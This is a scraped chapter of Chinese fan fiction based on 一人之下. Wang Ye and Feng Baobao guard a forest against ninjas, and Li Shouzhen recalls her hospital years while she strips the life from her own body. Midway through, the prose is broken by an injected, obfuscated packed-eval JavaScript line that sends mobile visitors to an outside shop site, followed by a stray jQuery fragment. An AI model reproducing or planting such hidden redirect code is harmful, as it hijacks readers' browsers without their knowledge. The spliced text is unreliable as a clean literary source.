王也没有异议,相比于唐门,这些忍者更加危险。
几人一合计,王也和冯宝宝守在外围,拦住突防冲进来的人,马龙等人对地势更熟悉,守在内侧,且高楠也需要更多的时间来布置机关。
“马龙,或许唐门长对你们下达了某种命令,我无可厚非,但我希望你们能记住,李守真没有伤害你们任何一个人,且她还治好了你的伤。”
王也说出这段话,并非想策反马龙等人,他只是希望如果有人想对李守真下手,这几人可以阻拦一二。
马龙顿了一下,“王道长,别低看唐门人。”
说完,马龙等人迅速离开这里。
月色凄凉,微凉的夜风中传来几缕血腥味,不知从何处飘来,王也脸色凝重,叮嘱冯宝宝,“冯宝宝,你杀过人没有?”
冯宝宝一手如意,一手冈本,同样一脸严肃,
“嗯,杀过。”
“杀人是什么感觉?”
“杀人?杀人就是杀人,要什么感觉?”冯宝宝懵逼,但是她是个热爱思考的人,于是,冯宝宝想了想,“没什么感觉,就是下手重一点,刀往前递一点。”
“就像这样。”
冯宝宝随手在空气中猛地一挥,远处传来“噗通”,有人掉下去了。
‘咕噜’。
王也咽了咽口水,看着冯宝宝平静地仿佛拍死一个蚊子的表情,“我勒个乖乖,看来之前我要多谢你的不杀之恩了。”
龙虎山上,冯宝宝要是给王也来这一出,王也估计不会防着她...
“不会的,狗娃子说了,现在不让随便杀人。”
狗娃子是哪位高人?太有先见之明了。
“还有,”冯宝宝抖了抖手腕,理所当然地开口:“我救了你,你的命是我的,以后,我要是有危险,你要救我。”
“我要是不救你怎么办?”王也好奇。
“我还没有碰到这种情况,一般情况,有危险的都是别人。”
呃,我就多余问!
王也也是服气了,这么个直肠子的大宝贝居然能被张楚岚放在心上。
不摇碧莲,莲花的本质是什么?是莲藕啊。
冯宝宝就像是那荷叶,中通外直,不蔓不枝,张楚岚呢,就是那莲花,拨开一层又一层,往里一看,嚯,一肚子心眼。
一花一叶,两人也是绝配了。
“虽然你的救命之恩很牵强,但你今天帮了我和守真,于情于理,你的事,我应下了。”
“哦。”
冯宝宝很平淡。
“你就这个反应?”
“张楚岚说了,你一定会答应。”
“那我要是不答应呢?”
“那就想办法让你答应。”
安静的林子里依稀可听见外面的吵闹声,晚风萧萧,撩起冯宝宝的头发,她就这样平淡地接受着来自他人的安排,可不管别人怎么安排,她总有一套自己的应对逻辑。
身在俗尘心在外,人间来去自悠然。
凉快啊,确实凉快。
王也好像找到了和冯宝宝相处之道,以稚子之心相待,便能得到同样的对待,若以奸邪之心相待,只会照出自己的丑陋。
......
山里的晚风总是带着几分凄凉,尤其是深秋的山林,似乎在叹息着生命的衰败,但在那份凄凉中,又夹杂着淡淡的水意,自此,生命在其中得到重生。
终于走到了这一步...
李守真‘望着’胸腔中跳动的那颗心脏,这颗源自于端木瑛,后被移植给端木诚,最后又到达自己的身体内,经历了三代人的岁月,依旧源源不断地为躯体提供着生机。
然而,不是自己的,终究是不属于自己。
李守真短暂的一生没有经历太多波折,从出生到死亡,她的喜怒哀乐都局限在那一间小小的病房里。
对于那时的她而言,死亡,并不是什么可怕的事情。
人人都会死,只不过她的死亡可以预见。
可站在死亡的大门前,看着那些病友挣扎求生,她又忍不住好奇,
人,活着是为了什么?
如果生命的尽头是死亡,那么活着的意义是什么?
这是两个问题。
这两个问题搅得当时小小的她日夜睡不着觉。
李守真曾经在医院遇到了一个患了癌症的神父,神父告诉她,人活着就是为了满足欲望,所以上帝说,世人皆有罪。
可当李守真问他,活着本身的意义是什么的时候,神父就不说话了。
大约上帝没有告诉他。
神父只是想活着,他每天吃很苦的药,做很痛苦的治疗,尽管这样,他还是愿意活着。
至于为什么活?
用他的话说,大概也是为了满足他自己的欲望吧。
明明死亡对于他而言,是迟早的事情,可他好像从来不去考虑死亡的到来,只是站在生死的边缘挣扎求生。
李守真所在的病房除了一些将死之人,有时也会有健康的病人家属前来探望,相比李守真等人而言,他们是非常健康的。
这些人面对李守真总有一些怜悯和同情,李守真不明白,这些人也会死,可他们好像不知道这件事,或者说,不愿意面对这件事,一边奢侈地挥霍着自己的生命,一边冷眼看着别人的死亡。
说起‘为什么活着’、‘活着的意义’,他们总是侃侃而谈。
可这些大道理放在他们身上,似乎也并不合适。
李守真见过一个刚刚出生的孩子,他一生下来就被医生判定了死亡,但孩子的父母不愿意面对这样的结果,耗尽家财只为了能延长这孩子的生命。
面对小小的一个婴孩,李守真无法窥见他的欲望,更遑论询问他活着的意义。
可当这个孩子呼吸停止的那一瞬间,望着他缓缓松开的拳头,李守真突然明白,活着其实就是一种生物本能,无关乎其他。
至于活着本身的意义,就是活着。
活下来才能侃侃而谈,才能满足欲望。
死了,也就死了。
生活依然在继续,地球依然会旋转。
这样的结果让李守真很是沮丧,那时她的身体已经坚持不了多久了,她的父母和弟弟焦急地等待着她的心脏,他们已经迫不及待迎接新的生活了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626915|204121||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
于是,李守真就想,那就这样吧。
直到遇见了师傅,端木诚。
师傅给李守真提供了一个新的思路,如果说人活着是因为生物的本能,那么灵魂是为了什么而存在的呢?
这个问题师傅没有回答。
师傅一生治病救人,一双手见识过形形色色的人生,她自己的人生却乏善可陈。
临死前,师傅告诉李守真,灵魂的存在是为了保存‘自己’。灵魂能完整地记录下人的一生,不管身体如何作假,最后都会反应在灵魂上,灵魂做不得假。
守着灵魂,就是守着‘自己’。
既然如此,那么灵魂可不可以反哺身体呢?
若把身体比作灵魂的寄存处,没了这个寄存处,我可不可以换一个寄存处?或者说,我干嘛非得寄存呢?
于是,李守真“望着”自己的那颗心脏,这是她这具已经死亡的身体的‘发动机’,她想试一试,停了这个发动机,身体会怎么样...
所谓艺高人胆大,说的就是李守真。
当然,她不会拿自己的小命作死,在开始前,她学着丹噬的法子,先激活这具身体里残存的先天之炁。
一点一点小心地将属于心脏的生机剥离...
第一个发现不对劲的人是许新,他离李守真最近,所以清晰地看到了李守真的身体一点点枯败。
先是眼眶周围的皮肤变得皱缩,然后是头发变得枯燥开叉,干枯的迹象慢慢蔓延到整张脸、脖子、手臂...最后李守真变成了一具干枯的躯体,仅仅靠着那根脊梁骨支撑着她的身体。
若非许新还能感受到李守真身上传来的那股清盈之气,他立刻就要去探李守真的鼻息了。
可即便是这样,也足以震碎许新的三观了。
人可以做到这个地步么?
李守真的状态太特殊,许新不敢惊动她,只得小心翼翼地屏住呼吸,示意其他人不要靠近。
而此刻的唐瑞已经完成丹噬,众人欣喜之后便将目光转向了李守真,一见之下也是大骇。
只是短短几十分钟的功夫,李守真已然变成了一具‘干尸’!
李守真可是关乎着唐门丹噬的大事,她若死在这里,对唐门上下、对外界都无法交代!
“门长!”
“别吵!”
唐杰感受到了什么,立刻制止住弟子,不让他们惊扰到李守真。
“她这是在修炼丹噬?”刚刚炼成丹噬的唐瑞对李守真的状态有些熟悉,下意识以为李守真想试着练习丹噬。
“不是。”
唐杰比唐瑞早一步掌握丹噬,对丹噬的修习机制更加熟练,他看得出来,李守真只是单纯地放空了自己的身体,但是下一步要做什么,唐杰看不出来。
许新的丹噬铺陈开来,将李守真牢牢地包围,其他人只能隔着远远的距离,看着李守真一点一点地‘枯萎’。
“吕良,你见多识广,你见过这场面么?”
“丁哥,您高看我了,这场面我真没见过!”
要说对人体的了解,吕良还能说得上一二,但像李守真这样把自己往死里搞的,吕良还是头一次见!